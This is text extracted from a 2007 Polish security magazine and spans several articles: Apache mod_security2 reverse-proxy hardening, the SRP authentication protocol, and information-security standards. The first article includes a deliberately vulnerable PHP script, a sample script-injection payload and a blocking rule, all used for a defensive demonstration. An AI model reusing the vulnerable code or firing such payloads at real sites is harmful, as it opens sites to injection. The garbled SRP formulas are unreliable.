instalacja tego modułu ze źródeł.

Na szczęście instalacja tego mo-

dułu jest dość prosta, i nie powinna
stanowić  żadnego  problemu.  Poza
instalacją  pakietów  z  odpowiednimi
bibliotekami  jak  libxml2,  trzeba  do-
konać  drobnej  zmiany  w  Makefile,
gdzie  trzeba  prawidłowo  zadeklaro-
wać  ścieżkę  do  katalogu  instalacji
Apache (np. /usr/share/apache2 De-
bianie), a następnie po prostu wyko-
nać polecenia make i make install.

Po zainstalowaniu modułu mod_

security2  dla  Apache2,  należy  jesz-
cze  zmodyfikować  konfigurację  ser-
wera,  tak  by  ładował  on  odpowied-

Listing 2.

Konfiguracja vhosta z SSL i wybranymi zasobami

<VirtualHost *:443>
ServerAdmin admin@foo.bar
ServerName intra.company.com
ErrorLog /var/log/apache2/ssl-intra.company.com-error.log
CustomLog /var/log/apache2/ssl-intra.company.com-access.log common
SSLEngine on
SSLCertificateFile /etc/ssl/certs/ssl-cert-intra.company.com.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-intra.company.com.key
SSLProxyEngine on
ProxyPass /exchange https://owa.lan/exchange
ProxyPassReverse /exchange https://owa.lan/exchange
ProxyPass /exchweb https://owa.lan/exchweb
ProxyPassReverse /exchweb https://owa.lan/exchweb
ProxyPass /public https://owa.lan/public
ProxyPassReverse /public https://owa.lan/public
ProxyPass /knb http://webserver.lan/knowledgebase
ProxyPassReverse /knb http://webserver.lan/knowledgebase
ProxyRequests Off
<Proxy *>
Order deny,allow
Allow from all
</Proxy>
</VirtualHost>

Listing 3.

Skrypt vulnerable.php

This site is vulnerable to javascript injection

(

isset

(

$_GET

[

'username'

]))

$_GET

[

'username'

]

"no username supplied"

;

echo

$_GET

[

'username'

]

Listing 4.

Adnotacja włamania w logach bezpieczeństwa

[Thu Apr 12 13:09:21 2007] [error] [client xxx.xxx.xxx.xxx] ModSecurity:
Access denied with code 409 (phase 2). Pattern match "<script" at ARGS:
username. [hostname "company.com"] [uri "/vulnerable.php?username=
noob<script>alert(\\"I%20am%20so%20vulnerable...\\")</script>"]
[unique_id"kiwv4Fdi6FkABAVRAMsABBAAA"]

hakin9 Nr 8/2007

www.hakin9.org

Obrona

nie pliki, co można najprościej osią-
gnąć poprzez dodanie wpisów, któ-
re przedstawia Listing 5 w odpowied-
nim miejscu plików konfiguracyjnych.

mod_unique_id powinien być do-
stępny w domyślnej instalacji Apa-
che2 i jest wymagany do poprawnej
pracy mod_security2.

Gdy mod_security2 jest już do-

stępny i załadowany do Apache, po-
zostaje włączyć jego obsługę dla całe-
go serwera, wybranych lokalizacji czy
vhostów, w naszym zaś przypadku dla
vhosta odpowiedzialnego za reverse
proxy, do czego służy dyrektywa Se-

cRuleEngine On. Dodatkowo może-
my ustalić, jakie operacje zostaną wy-
konane domyślnie w wypadku wykry-
cia potencjalnego ataku za pomocą

SecDefaultAction. Stwórzmy więc ta-
ką  konfigurację,  która  odrzuci  poten-
cjalnie szkodliwe wywołania z błędem
409  oraz  zaloguje  je  w  celu  później-
szej analizy. Możliwe jest również mo-
dyfikowanie zachowania filtra dla kon-
kretnych reguł, o czym napiszemy za
chwilę.  Warto  zdawać  sobie  sprawę
z  faktu,  iż  mod_security2  domyślnie
wykonuje pewne operacje w celu nie-
dopuszczenia do ukrycia ataku przed
wzorcami  wykorzystywanym  do  je-
go wykrycia. Wywołanie przekazane
przez  klienta  zostaje  doprowadzone
do postaci kanonicznej, usunięte zo-
staną wielokrotne slashe, wskazania
do bieżącego katalogu, a także zde-
kodowane  zostaną  kody  znaków  w
URLu,  co  znacząco  ogranicza  moż-
liwości obejścia zabezpieczeń.

Najczęściej spotykaną w konfigu-

racji mod_security2 dyrektywą jest

SecRule.  Za  pomocą  tych  wpisów
tworzymy  nasze  reguły  bezpieczeń-
stwa,  które  będą  wywoływać  wcze-
śniej  zadeklarowane  domyślne  za-
chowanie.  Idea  działania  reguł  Se-

cRule jest prosta i sprowadza się do
wykonania  określonych  czynności,
gdy zadeklarowany wzorzec zostanie
wykryty  w  przychodzącym  od  klien-
ta  wywołaniu.  Ekipa  odpowiedzialna
za  mod_security2  była  na  tyle  miła,
by  wraz  z  kodem  źródłowym  rozpo-
wszechniać  predefiniowany  zestaw
reguł. Umieszczone tam wpisy pokry-
wają się z najczęściej spotykanymi w
sieci  problemami  zabezpieczeń  apli-
kacji  webowych;  intuicyjnie  podzie-
lone  i  dobrze  skomentowane,  znane
są pod nazwą Core Rules. Zachęcam
do zapoznania się z zawartością tego
zbioru regułek, gdyż dają one wgląd w
wiele metod ataków na aplikacje we-
bowe oraz wzorców, które pozwalają
tego typu zachowania zidentyfikować
i zablokować.

Jak można zauważyć w Core Ru-

les, każda reguła SecRule może przyj-
mować dwa lub trzy argumenty. Pierw-
szy wskazuje na miejsce, w którym
mamy poszukiwać wzorca, a kolejny to

tenże wzorzec. Jako trzeci, opcjonalny
argument, możemy zadeklarować, ja-
kie działania mają być podjęte w wy-
padku wystąpienia łańcucha znaków
zgodnego z wzorcem – operacja ta bę-
dzie miała pierwszeństwo nad działa-
niami deklarowanymi jako domyślne.

Aby zademonstrować, w jaki

sposób mod_security2 może chro-
nić stronę przed nadużyciem, stwo-
rzymy mały, dziurawy skrypt vulne-

rable.php, który będzie dostępny na
słabo skonfigurowanym serwerze,
co w efekcie spowoduje podatność
na atak typu script injection.

Gdy otwieramy taką stronę, mo-

żemy wykorzystać podatność na
wstrzyknięcie kodu javascript poprzez
wklejenie go jako części nazwy użyt-
kownika, jak na przykład:

username=noob<script>alert

2(”I am so vulnerable...”)</script>,

Czego efekt widać na Rysunku 5.

Rysunek 5.

Przykładowy efekt udanego wstrzyknięcia skryptu

Rysunek 4.

Diagram dostępu w wariancie reverse proxy w DMZ

intr.company.com

owa.lan

webserver.lan

HTTPS

HTTP

Firewall / Router

Internet

Intranet

Listing 5.

Dodane wpisy do

pliku konfiguracyjnego Apache2

LoadFile /usr/lib/libxml2.so
LoadModule security2_module

/usr/lib/apache2/modules/

mod_security2.so
LoadModule unique_id_module

/usr/lib/apache2/modules/

mod_unique_id.so

Bezpieczne publikowanie zasobów intranetowych

hakin9 Nr 8/2007

www.hakin9.org

Problem ten można naprawić po

stronie kodu samej aplikacji bądź ser-
wera, na którym jest ona uruchomio-
na.  W  tym  wypadku  zademonstruje-
my, jak możemy poradzić sobie z ta-
kim  problemem,  nie  posiadając  na-
wet  dostępu  do  serwera,  na  którym
jest  ona  uruchomiona  czy  tym  bar-
dziej uprawnień administracyjnych lub
dostępu  do  kodu  aplikacji.  Jeśli  zde-
cydujemy się na taką modyfikację in-
frastruktury,  by  serwer  chroniony  był
przez oparty na Apachu reverse pro-
xy z aktywnym mod_security2. Może-
my na przykład zablokować wszystkie
wywołania  zawierające  w  zmiennych
łańcuch  <script>  oraz  zwracać  w  ta-
kiej sytuacji wybrany kod błędu.

Aby to osiągnąć, wykorzystamy

trzy proste wpisy w pliku konfigura-
cyjnym:

SecRuleEngine On
SecDefaultAction log,auditlog,

deny,status:409,phase:2,t:none
SecRule ARGS "<script>"

Po takiej modyfikacji sieciowy wandal
otrzyma przy próbie przełamania za-
bezpieczeń naszej aplikacji komuni-
kat o błędzie 409 (Rysunek 6), a co
ważniejsze, zostanie on odnotowany

w logach bezpieczeństwa w sposób
podobny do przedstawionego na Li-
stingu 4.

Pracując nad ModSecurity dla Apa-

che, ważne jest, by pamiętać, iż usta-
wienie zbyt restrykcyjnych reguł zapo-
ry poziomu aplikacyjnego dla naszych
rozwiązań webowych może skutkować
poważnym zakłóceniem ich pracy czy
nawet całkowitym ich zablokowaniem.
W związku z tym, realizacja tego typu
zabezpieczeń powinna być związana
z dokładnym testowaniem funkcjonal-
ności aplikacji, którą będziemy chro-
nić. W przeciwnym wypadku może nas
czekać niezadowolenie użytkowników,
gdy nasze zmiany negatywnie wpłyną
na komfort ich pracy.

MS ISA Server 2004

Jak już wspominaliśmy wcześniej, po-
dobną funkcjonalność można spotkać
na przykład w Microsoft Internet and

Security  Acceleration  Server  2004.
Produkt  ten  ze  względów  finanso-
wych jest raczej kierowany do dużych
korporacji, nie zaś do niewielkich od-
biorców z segmentów SOHO i SME.
Microsoft  nadał  tej  funkcjonalności
nazwę  reguł  publikowania  (Server/

Web Publishing Rules).

Jeśli mówimy o publikowaniu za-

sobów wewnętrznych serwisów we-
bowych, to w grę wchodzą Web Pu-

blishing Rules i Secure Web Publi-

shing  Rules,  przy  czym  te  drugie
odpowiadają  za  publikowanie  zaso-
bów  z  wykorzystaniem  szyfrowania
SSL.  Ruch  SSL  może  być  wykony-

wany w trybie SSL tunelling lub SSL

bridging. W pierwszym wypadku ISA
przekazuje pakiety bezpośrednio do
serwera wewnętrznego, zaś w dru-
gim, ruch zostaje odszyfrowany i po-
nownie zaszyfrowany, co pozwala na
weryfikację zawartości pakietów.

Na konfigurację reguł publikowa-

nia składają się następujące opcje:

• Action – włącza lub wyłącza do-

stęp,

• Name – fqdn lub adres IP serwe-

ra, który będzie publikowany,

• Users – uprawnienia dostępu do wi-

tryny na poziomie użytkowników,

• Traffic source – obiekty sieciowe,

z których możliwy będzie dostęp
do witryny,

• Public name – URL, na który bę-

dzie odpowiadać ISA,

• Web listener – obiekt definiujący

sposób nasłuchiwania przez ser-
wer ISA,

• Path mappings – selektywne ma-

powanie serwerów wewnętrz-
nych na podstawie scieżki w wy-
wołanym URL-u,

• Bridging – sposób przekierowy-

wania pakietów, może wykorzy-
stywać HTTP, SSL lub FTP,

• Link translation – definiuje sposo-

by modyfikowania linków zawar-
tych w odpowiedziach na żąda-
nia klienta.

Podsumowanie

Samo utworzenie reguł publikowania
wykonywane jest, jak to w produk-
tach MS zwykło bywać, przez przy-
jazny użytkownikowi kreator.

Tak skonfigurowane publikowa-

nie zasobów można rozszerzyć o fil-
try webowe (Web Filters), które są
funkcjonalnością zbliżone do omó-
wionego wcześniej ModSecurity2.

Jak więc mogliśmy się przekonać,

reverse  proxy  może  być  wykorzysta-
ne do znacznego podniesienia bezpie-
czeństwa  publikowanych  zasobów,  z
użyciem otwartego i darmowego opro-
gramowania.  Rozwiązanie  oparte  o
system GNU/Linux i serwer Apache2
może  stanowić  wyśmienitą  alternaty-
wę dla takich komercyjnych produktów
jak choćby Microsoft ISA Server i jego
funkcja publikowania zasobów. l

O autorze

Autor jest inżynierem ds. zabezpieczeń
w dziale Research&Development w fir-
mie IF Research / Wallix.
Kontakt z autorem: goblin@pentex.pl

Rysunek 6.

Wywołanie zablokowane przez ModSecurity

Najlepszy istniejący protokół zdalnego uwierzytelniania przy użyciu hasła

hakin9 Nr 8/2007

www.hakin9.org

wszystkie znane metody ataku (m.in.

replay attack).

Secure Remote

Password

Secure Remote Password (SRP) to
nowoczesny protokół uwierzytelnia-
jący, stworzony przez ludzi świado-
mych wszystkich publicznie znanych
technik atakowania tego typu proto-
kołów:

• SRP zapewnia uwierzytelnie-

nie obu stron;  serwer może być
pewny,  że  klient  zna  hasło,  a
klient  ma  gwarancję,  że  serwer
jest  tym  samym,  na  którym  za-
kładano konto.

• SRP ma charakter dowodu z wie-

dzą  zerową;  nawet  jeśli  komuni-
kacja  będzie  się  odbywała  kana-
łem  nieszyfrowanym,  potencjalni
podsłuchiwacze nie będą w stanie
nic  sensownego  wywnioskować.
Oczywiście zaszyfrowanie kanału
(np. poprzez SSL) wprowadzi do-
datkowy poziom bezpieczeństwa.

• SRP, w przeciwieństwie do więk-

szości  metod  kryptografii  klucza
publicznego,  nie  wymaga  istnie-
nia zaufanego trzeciego podmio-
tu,  który  ręczyłby  za  tożsamość
stron.

• SRP jest całkowicie odporny na

ataki słownikowe online, zarówno
ze strony aktywnych, jak i pasyw-
nych podsłuchiwaczy. W przypad-
ku pozytywnego uwierzytelnienia,
SRP pozostawia obu stronom uni-
kalny, trudny do przewidzenia i dla
każdej sesji inny klucz prywatny,
który może być użyty do zabezpie-
czenia sesji (np. jako zalążek ge-
neratora liczb pseudolosowych dla
szyfru strumieniowego, klucz szy-
fru blokowego, identyfikator sesji).

• SRP zapewnia duże bezpieczeń-

stwo nawet w przypadku uży-
cia słabych haseł (krótkich, ma-
ło skomplikowanych).

• SRP jest tak skonstruowany, że

wymusza  składowanie  haseł  w
systemie  w  sposób  bardzo  bez-
pieczny,  tzn.  w  postaci  saltowa-
nych hashy, czyli zrandomizowa-
nych  skrótów  kryptograficznych.
Nawet  w  przypadku  włamania  i

kradzieży pliku z hasłami, przed
włamywaczem  stoi  jeszcze  ko-
nieczność  przeprowadzenia  ata-
ku  brutalnego  lub  słownikowe-
go,  bez  możliwości  użycia  obli-
czonych wcześniej tablic skrótów
kryptograficznych.

• SRP realizuje asymetryczną wy-

mianę kluczy, podobnie jak to ma
miejsce w protokole Diffie-Hell-
man.

• SRP nie jest rozwiązaniem opa-

tentowanym ani krępowanym re-
strykcyjną licencją. Gotowe im-
plementacje są dostępne w sie-
ci jako open source.

• SRP jest dość szybkim protoko-

łem  (zważywszy  na  jakość  ofe-
rowanego  bezpieczeństwa),  co
ważne,  jest  on  szybszy  niż  Dif-
fie-Hellman.

Wersja szósta SRP jest standardem
ISO/IEC  11770-4.  Używana  jest  ja-
ko silne uwierzytelnienie w protoko-
łach  SSL/TLS,  EAP,  SAML.  Są  też
implementacje FTP, SSH czy telnetu
wykorzystujące  SRP.  SRP  ma  bez-
pieczniejszy mechanizm uwierzytel-
niający od natywnego SSH.

Podsumowując, mamy do czy-

nienia z potężnym narzędziem, za-
pewniającym bardzo silne bezpie-
czeństwo.

Jak to działa?

Na początek krótkie wprowadzenie.
Jak wiadomo, liczby pierwsze to takie
liczby, które mają dokładnie dwa róż-
ne dzielniki: samą siebie i jedynkę.
W kryptografii mają znaczenie także
tzw. liczby pierwsze Sophie Germain
oraz bezpieczne liczby pierwsze.

Jeśli liczba l postaci l = 2p + 1,

gdzie p jest liczbą pierwszą, również
jest liczbą pierwszą, to p jest licz-
bą pierwszą Sophie Germain, nato-
miast liczba l jest bezpieczną liczbą
pierwszą.

W algorytmach protokołu SRP

będziemy się posługiwać arytmety-

ką modulo N. Liczba N musi być zna-
ną  obu  stronom  bezpieczną  liczbą
pierwszą (musi też być odpowiednio
duża, im większa tym lepsza). Zakła-
damy  sobie  również  stałą  g,  zwaną
generatorem.  Najczęściej  przyjmuje

się g = 2. Kolejną tego typu stałą jest

k, w SRP-6a należy ją obliczyć z ta-
kiego wzoru: k = SHA(N | g). Znak
„|” oznacza konkatenację (sklejanie)
ciągu znaków.

Wszystkie trzy stałe (N, g, k) są

ustalone odgórnie i publicznie znane
(przynajmniej obu stronom, ale mogą
też być bez najmniejszego ryzyka zna-
ne potencjalnemu włamywaczowi).

Aby móc stosować protokół

SRP, konta użytkowników powinni-
śmy przechowywać w postaci trójek
(login, weryfikator, sól).

Algorytm tworzenia takiej trójki

jest następujący:

• sól = random() (tu uwaga: im

wyższa wartość random w przy-
padku danej liczby, tym bezpiecz-
niejszy będzie protokół. Zdecydo-
wanie sugeruję użycie czegoś w
rodzaju /dev/random albo samo-
dzielnej implementacji podobne-
go mechanizmu),

• x = SHA(sól | SHA(login | „:” | ha-

sło)),

• weryfikator = v = gx % N.

Tu kilka drobnych uwag. Nie musimy
używać  akurat  SHA,  możemy  użyć
dowolnej  funkcji  skrótu  kryptogra-
ficznego (byle dobrej) nie zmieniając
zasadniczych  własności  protokołu
(oczywiście  pod  warunkiem,  że  bę-
dziemy  jej  używać  konsekwentnie).
Poprzez „hasło” rozumiemy ciąg re-
prezentujący hasło w postaci jawnej.
Znak  „%”  należy  rozumieć  jako  mo-

dulo (czyli reszta z dzielenia).

Jak widzimy, nie będziemy prze-

chowywać  haseł  w  postaci  jawnej.
Przechowujemy  jawny  login,  liczbę
weryfikującą (w dalszej części tekstu
będziemy o nim mówić jako o zmien-
nej v) oraz sól (materiał losowy ran-
domizujący  weryfikator).  Zwracam
uwagę, że dwa konta z takim samym
hasłem nie będą miały takiej samej
liczby weryfikującej.

Uwierzytelnienie w postaci kano-

nicznej wygląda następująco:

• klient wysyła do serwera prośbę

o sól dla podanego loginu,

• serwer wysyła sól dla żądanego

loginu,

hakin9 Nr 8/2007

www.hakin9.org

Obrona

• klient oblicza a = random() (po-

nownie podkreślam istotność so-
lidnej losowości; a musi też być
większe od

log

• klient oblicza

A=g

• klient wysyła serwerowi obliczo-

ną liczbę A,

• jeśli A = 0 % N, serwer powinien

się rozłączyć,

• serwer oblicza b = random() (b

musi być większe od

log

• serwer oblicza i wysyła

B kv+g

• jeśli B = 0 % N, klient powinien

się rozłączyć,

• obie strony obliczają u = SHA

(A | B),

• klient oblicza x = SHA(sól | SHA-

(login | „:” | hasło)),

• klient oblicza

Sklient=(B-kg

x (x+ux)

)

• klient oblicza Kklient = SHA-

(Sklient),

• serwer oblicza

Sserwer=(A-v

u b

)

• serwer oblicza Kserwer = SHA-

(Sserwer).

W tym momencie, obie strony mają
klucz sesji K, który powinien być taki
sam (wówczas uwierzytelnienie się
powiodło). Jak bezpiecznie spraw-
dzić, czy uwierzytelnienie się powio-
dło? Można to zrobić na kilka sposo-
bów, na przykład tak:

• klient wysyła M1 = SHA(SHA(N)

xor SHA(g) | SHA(login) | sól | A |
B | Kklient),

• serwer weryfikuje M1, obliczając

je  w  analogiczny  sposób  (oczy-
wiście  Kklient  powinno  być  rów-
ne  Kserwer).  Jeśli  M1  obliczone
przez serwer różni się od przeka-
zanego od klienta, uwierzytelnie-
nie klienta jest nieudane. Serwer
musi się rozłączyć,

• serwer wysyła M2 = SHA(A | M1 |

Kserwer),

• serwer weryfikuje M2, obliczając

je w analogiczny sposób. Jeśli M2
obliczone przez klienta jest różne
od przekazanego przez serwer,
uwierzytelnienie serwera jest nie-
udane. Klient powinien się rozłą-
czyć.

Zwracam uwagę, że klient musi po-
kazać swój dowód jako pierwszy. Je-
śli jest on niepoprawny, serwer pod

żadnym pozorem nie może pokazy-
wać swojego dowodu!

W niektórych opracowaniach moż-

na zobaczyć inne formuły wzajemne-
go  uwierzytelnienia,  w  szczególności
chodzi tu o to, że M1 może być wyli-
czone szybciej (można ze wzoru wy-
rzucić N, g, login i sól). Tym niemniej
jest przynajmniej jeden dobry powód,
dla  którego  warto  zostawić  te  dodat-
kowe  obliczenia:  w  przypadku  ataku
brutalnego atakujący będzie miał trzy
wywołania  SHA  więcej  na  iterację,
co w skali takiego ataku oznacza bar-
dzo poważny koszt obliczeniowy. Nie-
pokoić może duża liczba wymian da-
nych  między  serwerem  i  klientem.  W
rzeczywistości można ją nieco zredu-
kować łącząc niektóre komunikaty (w
tabeli  1  zawarty  jest  zoptymalizowa-
ny  schemat  wymiany  komunikatów).
Można posłużyć się też (w przypadku
aplikacji webowych) technikami AJAX,
aby  konwersacja  klienta  z  serwerem
była niezauważalna dla użytkownika.

Zmienna u może być losowa, ale

wówczas jedna strona musi się nią po-
dzielić z drugą (oczywiście lepiej jest,
gdy losowanie przeprowadzi serwer).
Dodatkowo u nie może być równe ze-
ro (modulo N oczywiście), zatem je-
śli u będzie losowane, strona która je

otrzyma, musi sprawdzić jego niezero-
wość modulo N i ewentualnie się roz-
łączyć.  Przestrzegam  przed  nieprze-
myślanymi (czytaj: nie poprzedzonymi
głębokim zrozumieniem istotności każ-
dej zmiennej i każdego kroku) modyfi-
kacjami czy uproszczeniami tego pro-
tokołu.  Przedstawione  w  tym  tekście
wzory  to  szósta  wersja  tego  protoko-
łu,  przejrzana  i  zweryfikowana  przez
międzynarodowe  środowisko  nauko-
we  zajmujące  się  kryptografią  i  bez-
pieczeństwem  informacyjnym.  Każda
użyta zmienna i każde przekształcenie
ma swoją rolę do odegrania i bynajm-
niej  nie  są  one  przypadkowe.  Zdecy-
dowanie  radzę  używać  gotowych  im-
plementacji, a gdy jest to niemożliwe,
własną implementację poprzedzić do-
kładną  lekturą  publikacji  dostępnych
na stronie podanej w ramce.

Bezpieczeństwo

SRP  jest  tak  bezpieczny,  jak  algo-
rytm Diffie-Hellman, a więc bezpie-
czeństwo  protokołu  zależy  od  trud-
ności  liczenia  logarytmów  dyskret-
nych oraz od nieodwracalności uży-
tej funkcji skrótu.

Przez sieć nie jest przesyłane ani

hasło, ani wyliczona wartość x. Żad-
na użyteczna informacja o kluczu K

Tabela 1.

Zoptymalizowany schemat komunikatów w protokole SRP

Klient

Kierunek komunikatu Serwer

A, login

>
<

B, sól

>
<

W Sieci

Na tej stronie znajduje się kalkulator SRP, pozwalający podejrzeć wartości wszystkich
zmiennych pomocniczych oraz eksperymentować z różnymi wartościami wejściowymi.
http://srp.stanford.edu/demo/demo.html
To jest strona domowa projektu SRP. http://srp.stanford.edu/

O autorze

Autor jest z wykształcenia informatykiem i politologiem. Pracował jako programista,
administrator, konsultant, tłumacz, koordynator międzynarodowych projektów, dzien-
nikarz i publicysta. Pisał programy w dziesięciu językach programowania (od asem-
blerów po języki skryptowe), w czterech systemach operacyjnych, na dwóch platfor-
mach sprzętowych.
Kontakt z autorem: cerekwicki@tlen.pl

Bezpieczeństwo informacji w polskich normach

hakin9 Nr 8/2007

www.hakin9.org

W drugiej normie terminologicz-

nej, PN-I-02000: 2002 Technika in-
formatyczna  –  Zabezpieczenia  w
systemach  informatycznych  –  Ter-
minologia, podano polską terminolo-
gię (z angielskimi odpowiednikami) z
zakresu  bezpieczeństwa  systemów
informatycznych.  Norma  może  być
przydatna  do  tłumaczenia  tekstów
technicznych,  norm  i  dokumentów
oraz do precyzyjnej i jednoznacznej

wymiany  informacji  podczas  kon-
taktów  międzynarodowych  i  krajo-
wych.  Warto  w  tym  miejscu  zwró-
cić  uwagę  na  rozróżnienie  angiel-
skich słów security i safety, przekła-
danych na język polski jako bezpie-
czeństwo. Autorzy tłumaczenia nor-
my przyjęli, że termin security ozna-
cza  wszelkie  zabezpieczenia  chro-
niące  system  informatyczny  i  jego
zasoby przed szkodliwym oddziały-

waniem otoczenia, zaś termin safe-

ty oznacza wszelkie zabezpieczenia
chroniące  otoczenie  przed  szkodli-
wymi lub wręcz katastroficznymi od-
działywaniami systemu informatycz-
nego na otoczenie systemu. W nor-
mie po raz pierwszy pojawia się ter-
min  bezpieczeństwo  informacji,  ro-
zumiany  jako  system  informatyczny
wraz  z  systemem  bezpieczeństwa
komunikacji,  składający  się  z  wy-
tycznych  i  procedur  administracyj-
nych,  przeznaczony  do  identyfiko-
wania, nadzoru i ochrony informacji
przed nieuprawnionym ujawnieniem.
Natomiast ochronę danych definiuje
się tu tak, jak w normie PN-ISO/IEC
2382-8: 2001.

Standardy

bezpieczeństwa

informacji

Przejdźmy do standardów o funda-
mentalnym znaczeniu dla bezpie-
czeństwa informacji. Wśród nich na-
leży wymienić: raporty ISO/IEC TR
13335, normę ISO/IEC 17799 oraz
normę ISO/IEC 15408, tzw. Com-

mon  Criteria  (Wspólne  Kryteria).
W  dalszej  części  artykułu  zostaną
scharakteryzowane  jedynie  wybra-
ne  standardy  (nie  wszystkie  prze-
tłumaczono  bowiem  na  język  pol-
ski). W Polsce ukazały się jedynie 3
spośród 5 części raportów technicz-
nych ISO/IEC TR 13335. Część 1 –
ukazała się jako polska norma PN-
I-13335-1:  1999  Technika  informa-
tyczna – Wytyczne do zarządzania
bezpieczeństwem  systemów  infor-
matycznych – Pojęcia i modele bez-
pieczeństwa systemów informatycz-
nych, części 2 i 3 jako raporty tech-
niczne: ISO/IEC TR 133335-2 Tech-
nika  informatyczna  –  Wytyczne  do
zarządzania bezpieczeństwem sys-
temów  informatycznych.  Część  2
–  Zarządzanie  i  planowanie  bez-
pieczeństwa  systemów  informa-
tycznych oraz ISO/IEC TR 13335-3
Technika informatyczna – Wytyczne
do  zarządzania  bezpieczeństwem
systemów  informatycznych.  Część
3  –  Techniki  zarządzania  bezpie-
czeństwem  systemów  informatycz-
nych. W Polsce nie przetłumaczono
4 części raportu – ISO/IEC 13335-

Normy, standardy, zalecenia

• BS 15000 (zastąpiony normą ISO/IEC 20000: 2005) – brytyjski standard opracowa-

ny przez BSI (British Standard Institution) opisujący system zarządzania usługami
informatycznymi,

• BS 25999: 2006 – opracowany przez BSI standard, dotyczący obszaru zarządza-

nia ciągłością działania (zastąpił specyfikacje PAS-56),

• BS 7799-1 – opracowany przez BSI standard, definiuje wytyczne w zakresie usta-

nowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i dosko-
nalenia Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony przez
ISO/IEC 17799: 2005),

• BS 7799-2 – opracowany przez BSI standard, który określa wymagania w zakre-

sie ustanowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania
i doskonalenia Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony
przez ISO/IEC 27001: 2005),

• BS 7799-3 – norma dotycząca zarządzania ryzykiem bezpieczeństwa informacji,
• COBIT (Control Objectives for Information related Technology) – metodyka kontro-

li i audytu systemów informatycznych,

• MARION (Mission Analysis and Risk Impact on Operations Network tool) – meto-

dyka przeprowadzania audytów bezpieczeństwa w instytucjach sektora finanso-
wego,

• ISO/IEC TR 18044 – standard przedstawia dobre praktyki w zakresie zarządzania

incydentami bezpieczeństwa informacji,

• ITIL (IT Infrastructure Library) – zbiór dobrych praktyk zarządzania organiza-

cją IT.

Rysunek 1.

Związki pomiędzy elementami bezpieczeństwa

ZAGROŻENIA

PODATNOŚCI

WYMAGANIA

W ZAKRESIE

OCHRONY

WARTOŚCI

(stąd potencjalne

następstwa dla

działania instytucji)

ZASOBY

RYZYKA

ZABEZPIECZENIA

wykorzystują

zwiększają

narażają

zwiększają

analiza

wskazuje

posiadają

realizowana przez

zwiększają

zmniejszają

chronią przed

hakin9 Nr 8/2007

www.hakin9.org

Bezpieczna firma

4: Wybór zabezpieczeń oraz jego 5
części:  ISO/IEC  13335-5:  Zabez-
pieczenie  połączeń  zewnętrznych.
Polska norma PN-I-13335-1 grupu-
je  wytyczne  dotyczące  zarządza-
nia bezpieczeństwem systemów in-
formatycznych.  Materiał  ten  może
być przydatny dla kierownictwa od-
powiedzialnego za bezpieczeństwo
systemów informatycznych oraz dla
osób,  które  odpowiadają  za  cało-
ściowy  program  bezpieczeństwa  w
instytucji.

W rozumieniu normy, bezpie-

czeństwo  systemu  informatyczne-
go  to  wszystkie  aspekty  związane
z definiowaniem, osiąganiem i utrzy-
mywaniem  poufności,  integralności,
dostępności,  rozliczalności,  auten-
tyczności  i  niezawodności.  W  nor-
mie przedstawiono podstawowe po-
jęcia  dotyczące  bezpieczeństwa  te-
leinformatycznego, takie jak: zasób,
podatność, zagrożenia, następstwo,
ryzyko,  zabezpieczenie  lub  ryzyko
szczątkowe. W formie prostych mo-
deli  pojęciowych  pokazano  związki
zachodzące między nimi.

W normie przedstawiono rów-

nież  podstawowe  procesy  związa-
ne  z  procesem  zarządzania  bez-
pieczeństwem  systemów  informa-
tycznych.  Wyodrębniono  trzy  pod-
stawowe  procesy:  proces  zarzą-
dzania  konfiguracją,  proces  zarzą-
dzania zmianami i proces zarządza-
nia ryzykiem. Autorzy normy zwra-

cają również uwagę na wiele typów
ograniczeń, na ograniczenia organi-
zacyjne,  finansowe,  środowiskowe,
osobowe,  czasowe,  prawne,  tech-
niczne,  kulturowe  i  społeczne,  któ-
re należy wziąć pod uwagę, wybie-
rając i implementując zabezpiecze-
nia w ramach budowy systemu bez-
pieczeństwa instytucji. Raport tech-
niczny  ISO/IEC  13335-2,  wydanie
polskie  –  Polski  Komitet  Normali-
zacyjny  2003,  zawiera  wytyczne
do  zarządzania  i  planowania  bez-
pieczeństwa systemów teleinforma-
tycznych.

Raport ten może być przydat-

ny  dla  kierownictwa  odpowiedzial-
nego  za  systemy  informatyczne
w  instytucji.  Zarządzanie  bezpie-
czeństwem systemów informatycz-
nych  instytucji  jest  procesem,  któ-
ry  ma  służyć  osiąganiu  i  utrzyma-
niu  odpowiedniego  poziomu  po-
ufności,  integralności,  dostępno-
ści,  rozliczalności,  autentyczności
i  niezawodności.  Punktem  począt-
kowym  jest  w  nim  ustalenie  celów
instytucji dotyczących bezpieczeń-
stwa  systemów  informatycznych.
Cele  te  powinny  wynikać  z  celów
biznesowych  instytucji.  Zarządza-
nie  bezpieczeństwem  systemów
informatycznych  obejmuje  sze-
reg  działań,  m.  in.  określenie  ce-
lów, strategii i polityki bezpieczeń-
stwa,  określenie  wymagań  w  za-
kresie bezpieczeństwa, wybór stra-

tegii  analizy  ryzyka,  wybór  zabez-
pieczeń  –  opracowanie  planu  za-
bezpieczeń  systemu/-ów  informa-
tycznych  instytucji,  monitorowanie
procesu  ich  wdrażania,  przygoto-
wanie  personelu  (szkolenia,  dzia-
łania  uświadamiające)  oraz  czyn-
ności  wykonywane  już  po  wdroże-
niu  zabezpieczeń,  takie  jak:  utrzy-
manie  zabezpieczeń,  zgodność  z
planem  zabezpieczeń,  monitoro-
wanie  oraz  obsługa  incydentów.
Warto w tym miejscu zwrócić uwa-
gę  na  organizację  służb  odpowie-
dzialnych za bezpieczeństwo w in-
stytucji, a mianowicie: komitet bez-
pieczeństwa  systemów  informa-
tycznych, główny inspektor bezpie-
czeństwa  systemów  informatycz-
nych,  inspektorzy  bezpieczeństwa
projektu/systemu informatycznego.
Zasadniczą sprawą dla efektywno-
ści  działań  w  zakresie  zapewnie-
nia  bezpieczeństwa  systemów  in-
formatycznych instytucji jest popar-
cie ze strony najwyższego kierow-
nictwa  instytucji.  Poparcie  to  musi
być faktyczne, a nie tylko deklaro-
wane.  Raport  techniczny  ISO/IEC
13335-3,  wydanie  polskie  –  Pol-
ski  Komitet  Normalizacyjny  2003,
zawiera  wytyczne  do  zarządzania
bezpieczeństwem  systemów  infor-
matycznych.  Zarządzanie  bezpie-
czeństwem systemów informatycz-
nych  obejmuje  analizę  wymagań
bezpieczeństwa, stworzenie planu,
